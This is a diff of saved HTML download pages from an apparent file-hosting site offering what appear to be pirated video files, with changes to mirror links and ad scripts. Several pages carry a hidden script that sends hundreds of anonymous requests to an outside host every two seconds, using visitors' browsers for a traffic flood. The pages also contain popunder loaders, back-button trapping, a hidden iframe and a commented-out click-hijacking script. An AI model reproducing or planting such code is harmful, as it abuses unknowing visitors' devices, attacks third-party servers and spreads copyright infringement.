HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a> HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
</div> </div>
<div class="container"> <div class="container">
@ -167,7 +160,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div> </div>
<p class="h3 text-success">Download Link Generated</p> <p class="h3 text-success">Download Link Generated</p>
<div class="input-group mb-3"> <div class="input-group mb-3">
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/bffzqlpqfllfcld" readonly="" id="ilink"> <input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/bffzqlpqfllfcld" readonly="" id="ilink">
<div class="input-group-prepend"> <div class="input-group-prepend">
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span> <span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
</div> </div>
@ -183,6 +176,8 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span> <span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
</div> </div>
<div class="ad-container"></div> <div class="ad-container"></div>
@ -192,19 +187,10 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<a href="https://hub.oreao-cdn.buzz/e35ec4a9a4efb5a154d0d10f9481dafc?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
<script>
const fsl = document.getElementById('fsl');
if (fsl) fsl.href += '1' + new Date().getMinutes();
</script>
<a href="https://pixel.hubcdn.fans/?id=5c7253dc7782ea14f891ed9f4c4d7f7ee43284d5e72e6ff401de6f1906046db7713b6d892a040a4b3dd31c9f47eee611a17924f224fc27dd70a921d4e9025c6b7d8b937e11b44e737bd4d5cfd203e361f77a8496dd75025ad8ce3e200905ef3f::853f8b4709e1acb8413ec14270adf205" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;"> <a href="https://pixel.hubcdn.fans/?id=21492bc915e609dd058e14bb1731d738ecbabde075e6a57924162ee17ab2dba6af0b2d315bfff2e113a3726863be50a0c9f92cc3470ad452f0c3223d49e7798f489e32a7a439e049a23b6750a49eb3f8acb834067ea5a1c7e0633b4425202ed5::b78919f2dc0c38d42c4c5147b3d4702c" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a> <i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important"> <p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
@ -216,16 +202,18 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
<script>
<a href="https://hidden-boat-e87c.hivegic619569.workers.dev/1397962425/53eaea70751039409adff7a1b54377f9aa8e590cd610a6452c849a7cbd2e40af66e667588bada714c63a9cf5360712f266b304e379bfde1d12c46aa2ccedf6eb::6170837909b2ffc3fc7f892bc959bd7e/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv" download="Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PDL Server]</a> const fsl = document.getElementById('fsl');
<script> if (fsl) fsl.href += '1' + new Date().getMinutes();
fetch('https://ping.rojgaartakkar.com/bmRFb0YweUVYZ1QvZys0OTRsNk53T2JMRG13QWRxYW5YcWYxYzNHYjhHZz0='); </script>
</script>
<a href="https://ddl2.cloudserver-1692958104.workers.dev/1397313204/a4d4a721744a9dfdbd8be7b27715738bbb80ca367d65277316db36bb584c0fbfe3c21108b9a243111ed7eec085a9d572ce5f7d7271507154b4d3d931114c3f8e4c2dce9cbb597557590a24a7083f463ed7369f491e73d260277b2545e1f6b9089f2467f185ac470832ea2089e27a5855e4204f396724eb836021b0a21b51bc5759b14c22bf8c0ca66f7680e0a44ff80bb09c20c28e93f2fdba3bd25769584e94ea466fca0aadafc2bdb59a70b319e25270e8502d4fb228d8c46c5a7d4f2af9c0::0f8e872aeeee57459e410e73b6e84d79/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
<p style="
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
@ -249,7 +237,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
if(isAndroid()){ if(isAndroid()){
android_launch.classList.remove("d-none"); android_launch.classList.remove("d-none");
android_launch.addEventListener('click', ()=>{ android_launch.addEventListener('click', ()=>{
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://hub.oreao-cdn.buzz/e35ec4a9a4efb5a154d0d10f9481dafc?token=1774428754',scheme: 'https',type: 'video/x-matrosk', var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506',scheme: 'https',type: 'video/x-matrosk',
});anchor.click(); });anchor.click();
}); });
@ -286,7 +274,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div> </div>
<div class="card"> <div class="card">
<div class="card-body" id="div1"> <div class="card-body" id="div1">
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/bffzqlpqfllfcld</p> <p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/bffzqlpqfllfcld</p>
</div> </div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button> <button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script> <script>
@ -315,22 +303,16 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
<br><br> <br><br>
</div> </div>
Msc Msc
<video autoplay muted playsinline preload="metadata" hidden>
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<!--2dl--> <!--2dl-->
<div class="footer"> <div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p> <p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
</div> </div>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
</body> </body>
</html><script> </html><script>
window.sessionStorage.setItem('xl',window.location.href) window.sessionStorage.setItem('xl',window.location.href)
@ -340,11 +322,25 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24); function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
</script> </script>
<script>
function x(){
for (let i = 0; i < 369; i++) {
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
"method": "GET",
"mode": "no-cors",
"referrerPolicy": 'no-referrer',
});
}
}
x();
const intervalId = setInterval(() => {
x();
}, 2000)
</script>
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>--> <!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);--> <!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
<!--</script>--> <!--</script>-->
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>

View file

@ -1,11 +1,4 @@
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script> <script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
<script type="text/javascript">
aclib.runPop({
zoneId: '10553222',
});
</script>
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
<script> <script>
document.addEventListener("DOMContentLoaded", function() { document.addEventListener("DOMContentLoaded", function() {
history.pushState(null, null, location.href); history.pushState(null, null, location.href);
@ -19,7 +12,8 @@ document.addEventListener("DOMContentLoaded", function() {
<head> <head>
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title> <title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="referrer" content="no-referrer"/> <script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
@ -136,11 +130,10 @@ document.addEventListener("DOMContentLoaded", function() {
color: #000 color: #000
} }
</style> </style>
<body> <body><center>
<center>
<br/> <br/>
<div class="header"> <div class="header">
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a> HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
</div> </div>
<div class="container"> <div class="container">
@ -167,7 +160,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div> </div>
<p class="h3 text-success">Download Link Generated</p> <p class="h3 text-success">Download Link Generated</p>
<div class="input-group mb-3"> <div class="input-group mb-3">
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/idt1evqfuviqiei" readonly="" id="ilink"> <input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/idt1evqfuviqiei" readonly="" id="ilink">
<div class="input-group-prepend"> <div class="input-group-prepend">
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span> <span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
</div> </div>
@ -183,6 +176,8 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span> <span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
</div> </div>
<div class="ad-container"></div> <div class="ad-container"></div>
@ -190,21 +185,15 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<iframe src="https://pixeldrain.dev/u/HqAiguQV?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
<a href="https://pixeldrain.net/u/HqAiguQV" download="Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
<a href="https://pub-b5ecaffddf2344a0ae2222f5e8913e1b.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
<script>
const fsl = document.getElementById('fsl');
if (fsl) fsl.href += '1' + new Date().getMinutes();
</script>
<a href="https://pixel.hubcdn.fans/?id=fb8c076011baaf9fd0cd6d349d86da6d8bf9c1a241cdcfb8ec27e07979b905608e125fadd030f801fa79752521d434885fe414c584c60919d282af9562b752b7fbaaad7784bd8251ce8eb1f5dacaf711bee65758b9f7fb78c4935b0b08afde16::837d46bfad85ed4f96ad7d9246ba302e" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;"> <a href="https://pixel.hubcdn.fans/?id=529bf8a6089bbb95b78cf3cb1a6dc59fde5263bbdd021523a5c82feda0ba8ef5389cbaadec1f544a0af5c8005cc1f08d3c9d657117ec665281ccfab07cf57f480c0b88000cc87df9ace68870041479b5bbe24ca974e726fa3609bd53e21ad504::31791b788bbe5b7e5a8467880d69cece" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a> <i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important"> <p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
@ -215,16 +204,19 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<iframe src="https://pixeldrain.dev/u/HqAiguQV?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
<a href="https://pixeldrain.dev/u/HqAiguQV" download="Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a> <a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
<script>
const fsl = document.getElementById('fsl');
if (fsl) fsl.href += '1' + new Date().getMinutes();
</script>
<a href="https://ddl2.cloudserver-1692954790.workers.dev/1397313204/f21e7028ea6a932d9591378bbac598891ca0fab13e210fef8c6be7d9b7b22c9f48fd9d22719a71a55e7280ac8dbe7f01fd57386fac993fe3bdf66772dc1e08e69792acbd18c323b87a7fbc0f4eec7862f1d793c3c20c36082861091c8236b110cf3c186c55945950681e369e305675b442a8df092f83e9483dd1cbfff5271db3b77fbec42689825baf890da2186efa9806c9c69f850a0ef850c159152151ecb6617bf57be248b1d023b493ea2b9d80161d45732806cae4a7a6e9da9bdd2a3279::ea94114583b705a605ed9e55dc452914/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
<p style="
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
@ -248,7 +240,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
if(isAndroid()){ if(isAndroid()){
android_launch.classList.remove("d-none"); android_launch.classList.remove("d-none");
android_launch.addEventListener('click', ()=>{ android_launch.addEventListener('click', ()=>{
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-b5ecaffddf2344a0ae2222f5e8913e1b.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1774428754',scheme: 'https',type: 'video/x-matrosk', var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505',scheme: 'https',type: 'video/x-matrosk',
});anchor.click(); });anchor.click();
}); });
@ -285,7 +277,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div> </div>
<div class="card"> <div class="card">
<div class="card-body" id="div1"> <div class="card-body" id="div1">
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/idt1evqfuviqiei</p> <p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/idt1evqfuviqiei</p>
</div> </div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button> <button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script> <script>
@ -314,22 +306,16 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
<br><br> <br><br>
</div> </div>
Msc Msc
<video autoplay muted playsinline preload="metadata" hidden>
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<!--2dl--> <!--2dl-->
<div class="footer"> <div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p> <p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
</div> </div>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
</body> </body>
</html><script> </html><script>
window.sessionStorage.setItem('xl',window.location.href) window.sessionStorage.setItem('xl',window.location.href)
@ -339,11 +325,25 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24); function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
</script> </script>
<script>
function x(){
for (let i = 0; i < 369; i++) {
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
"method": "GET",
"mode": "no-cors",
"referrerPolicy": 'no-referrer',
});
}
}
x();
const intervalId = setInterval(() => {
x();
}, 2000)
</script>
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>--> <!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);--> <!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
<!--</script>--> <!--</script>-->
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>

View file

@ -1,11 +1,4 @@
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script> <script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
<script type="text/javascript">
aclib.runPop({
zoneId: '10553222',
});
</script>
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
<script> <script>
document.addEventListener("DOMContentLoaded", function() { document.addEventListener("DOMContentLoaded", function() {
history.pushState(null, null, location.href); history.pushState(null, null, location.href);
@ -19,7 +12,8 @@ document.addEventListener("DOMContentLoaded", function() {
<head> <head>
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title> <title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="referrer" content="no-referrer"/> <script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
